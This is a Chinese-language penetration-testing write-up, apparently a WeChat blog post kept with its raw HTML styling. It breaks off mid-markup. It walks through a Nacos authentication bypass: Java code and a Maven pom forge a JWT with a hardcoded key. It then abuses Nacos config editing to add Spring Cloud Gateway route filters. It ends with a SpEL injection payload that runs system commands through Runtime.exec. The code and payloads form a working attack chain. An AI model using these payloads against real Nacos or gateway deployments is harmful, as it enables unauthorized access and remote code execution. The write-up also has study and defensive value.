BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">前期通过docker中环境变量的信息搜集发现存在NACOS:</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">SPRING_CLOUD_NACOS_DISCOVERY_SERVERADDR   10.0.101.5:80</code></pre><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Nacos由阿里开发并开源，提供了一组简单易用的特性集，帮助用户快速实现动态服务发现、服务配置、服务元数据及流量管理。该系统主要用于集中配置微服务环境，内部可能存储一些内网数据库凭据等信息。</p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5212962962962963" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9db76ad0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnmQKuLgb8oicuePro0fHebyrPyUVudtIPCTftgrJnzqUj2lzDZAYvfTQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">nacos最近出了认证绕过(QVD-2023-6271)和一个反序列化漏洞。反序列化漏洞主要是因为Hessian反序列化导致RCE，但只能打一次。不成功环境就坏了。先尝试认证绕过漏洞，主要是因为硬编码的key，使用该key生成jwt：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">import io.jsonwebtoken.Claims;<br/>import io.jsonwebtoken.Jwts;<br/>import io.jsonwebtoken.io.Decoders;<br/>import io.jsonwebtoken.security.Keys;<br/>import java.nio.charset.StandardCharsets;<br/>import java.util.Date;<br/>public class main {<br/>    public static void main(String[] args) {<br/>        System.out.println(createToken(&#34;nacos&#34;));<br/>    }<br/>    public static String createToken(String userName) {<br/>        String key = &#34;&#34;;<br/>        long now = System.currentTimeMillis();<br/>        Date validity = new Date(now + 18000*1000L);<br/>        Claims claims = Jwts.claims().setSubject(userName);<br/>        return Jwts.builder().setClaims(claims).setExpiration(validity)<br/>                .signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key))).compact();<br/>    }<br/>}</code></pre><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">新增pom.xml使用maven编译：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;<br/>&lt;project xmlns=&#34;<a href="http://maven.apache.org/POM/4.0.0" target="_blank">http://maven.apache.org/POM/4.0.0</a>&#34;<br/>         xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;<br/>         xsi:schemaLocation=&#34;<a href="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" target="_blank">http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd</a>&#34;&gt;<br/>    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;<br/>    &lt;groupId&gt;org.example&lt;/groupId&gt;<br/>    &lt;artifactId&gt;getjwt&lt;/artifactId&gt;<br/>    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;<br/>    &lt;properties&gt;<br/>        &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;<br/>        &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;<br/>    &lt;/properties&gt;<br/>    &lt;dependencies&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;io.jsonwebtoken&lt;/groupId&gt;<br/>            &lt;artifactId&gt;jjwt-api&lt;/artifactId&gt;<br/>            &lt;version&gt;0.10.7&lt;/version&gt;<br/>        &lt;/dependency&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;io.jsonwebtoken&lt;/groupId&gt;<br/>            &lt;artifactId&gt;jjwt-impl&lt;/artifactId&gt;<br/>            &lt;version&gt;0.10.7&lt;/version&gt;<br/>            &lt;scope&gt;runtime&lt;/scope&gt;<br/>        &lt;/dependency&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;io.jsonwebtoken&lt;/groupId&gt;<br/>            &lt;artifactId&gt;jjwt-jackson&lt;/artifactId&gt;<br/>            &lt;version&gt;0.10.7&lt;/version&gt;<br/>            &lt;scope&gt;runtime&lt;/scope&gt;<br/>        &lt;/dependency&gt;<br/>    &lt;/dependencies&gt;<br/>    &lt;build&gt;<br/>        &lt;plugins&gt;<br/>            &lt;plugin&gt;<br/>                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br/>                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;<br/>                &lt;executions&gt;<br/>                    &lt;execution&gt;<br/>                        &lt;goals&gt;<br/>                            &lt;goal&gt;repackage&lt;/goal&gt;<br/>                        &lt;/goals&gt;<br/>                    &lt;/execution&gt;<br/>                &lt;/executions&gt;<br/>            &lt;/plugin&gt;<br/>            &lt;plugin&gt;<br/>                &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt;<br/>                &lt;configuration&gt;<br/>                    &lt;source&gt;1.8&lt;/source&gt;<br/>                    &lt;target&gt;1.8&lt;/target&gt;<br/>                &lt;/configuration&gt;<br/>            &lt;/plugin&gt;<br/>        &lt;/plugins&gt;<br/>    &lt;/build&gt;<br/>&lt;/project&gt;</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">生成key</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5416666666666666" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=60cb9de2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnhL2DI6fhSicBYEMACvlVeHeSMCoj926icdv0ySBBOEic7WHbXjznicxoDg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">成功绕过认证：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.32314814814814813" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c07656a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYn3UdSoc7gldWzmroP4QkxYkZSgYGxlQOT8ibdJCYRG6uKzVBV64y4gPg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">我们可以发现Nacos后台接口只依赖于get参数中的accesstoken。网上搜一搜基本就能得到所有的nacos接口了。可以通过用户相关接口加一个用户，通过界面更方便进行操作。</span></p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">NACOS结合SpringCloudGateway</h2><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在Nacos中我们可以看到存在spring-cloud-gateway和spring-cloud-service这两个应用，查看spring-cloud-gateway的信息：</p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.32222222222222224" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=043e8b89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYn7yBoAnUicvWwH2HoB6bwOticQ6zSiaN2tlaI4Nh3j9ygoSHmIxnia6dxFg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">获取到服务的ip及端口，访问尝试并利用CVE-2022-22947，发现并不存在利用的端点：</p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3192713326941515" title="null" data-w="1043" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c98238e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnyISSurlkR1BKAkZIZOnFVhgp4yK2nf5hMgS87R4pgPI2T3ich9icVTCQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其余和spring相关漏洞在没有开actuator接口的情况下也没有什么利用点，利用陷入僵局。此时发现一篇文章结合了nacos修改springboot配置文件的功能进而实现了rce：<a href="https://xz.aliyun.com/t/11493。" target="_blank">https://xz.aliyun.com/t/11493。</a></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">CVE-2022-22947漏洞原理简单来说就是通过/actuator/gateway/routes注册一个路由，注册路由的请求可以支持filters参数，可以新增一个filter，熟悉内存马的朋友肯定知道filter可以用于修饰响应或者请求，这里既然支持大概率可以造成代码执行，事实也是如此。后续通过通过spel进行任意代码执行，这个点是一个天然带回显的代码执行点。</p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">借助nacos，我们不再需要/actuator/gateway/routes接口开放，可以直接通过修改yaml配置文件的方式，实现增加filters。我们新建一个测试yaml：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">spring:<br/>  cloud:<br/>    gateway:<br/>      routes:<br/>        - id: exam<br/>          order: 0<br/>          uri: lb://spring-cloud-service<br/>          predicates:<br/>            - Path=/echo/**<br/>          filters:<br/>            - name: AddResponseHeader<br/>              args:<br/>                name: result<br/>                value: &#34;7bits&#34;</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">通过接口对原有配置文件进行修改:</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6037037037037037" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fc71b55b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnr0Kv7oTYUao351EU8lwOAFdulLRkRpv6BjwBufEBQEVHoQvpddqn5Q%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">发现成功触发filter，实现新增请求头的功能：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3537037037037037" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b4abbbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnibX7kicNibicgGV45hLmdJlAOrPBM6PqzCtQFOFAzsqVZeuI4hZ1kIuEOw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">由于后端服务器不存在echo接口，所以返回503也是正常的。接下来就是在value的地方注入spel表达式</span></p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">value: &#34;#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{&#39;id&#39;}).getInputStream()))}&#34;</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: 